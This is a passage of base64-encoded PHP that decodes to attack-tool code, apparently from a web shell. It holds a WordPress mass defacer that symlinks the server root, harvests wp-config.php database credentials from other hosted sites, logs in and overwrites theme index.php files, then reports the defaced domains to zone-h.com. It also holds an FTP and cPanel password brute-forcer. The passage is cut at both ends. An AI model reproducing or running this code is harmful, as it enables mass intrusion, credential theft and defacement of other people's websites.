VCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+Ijt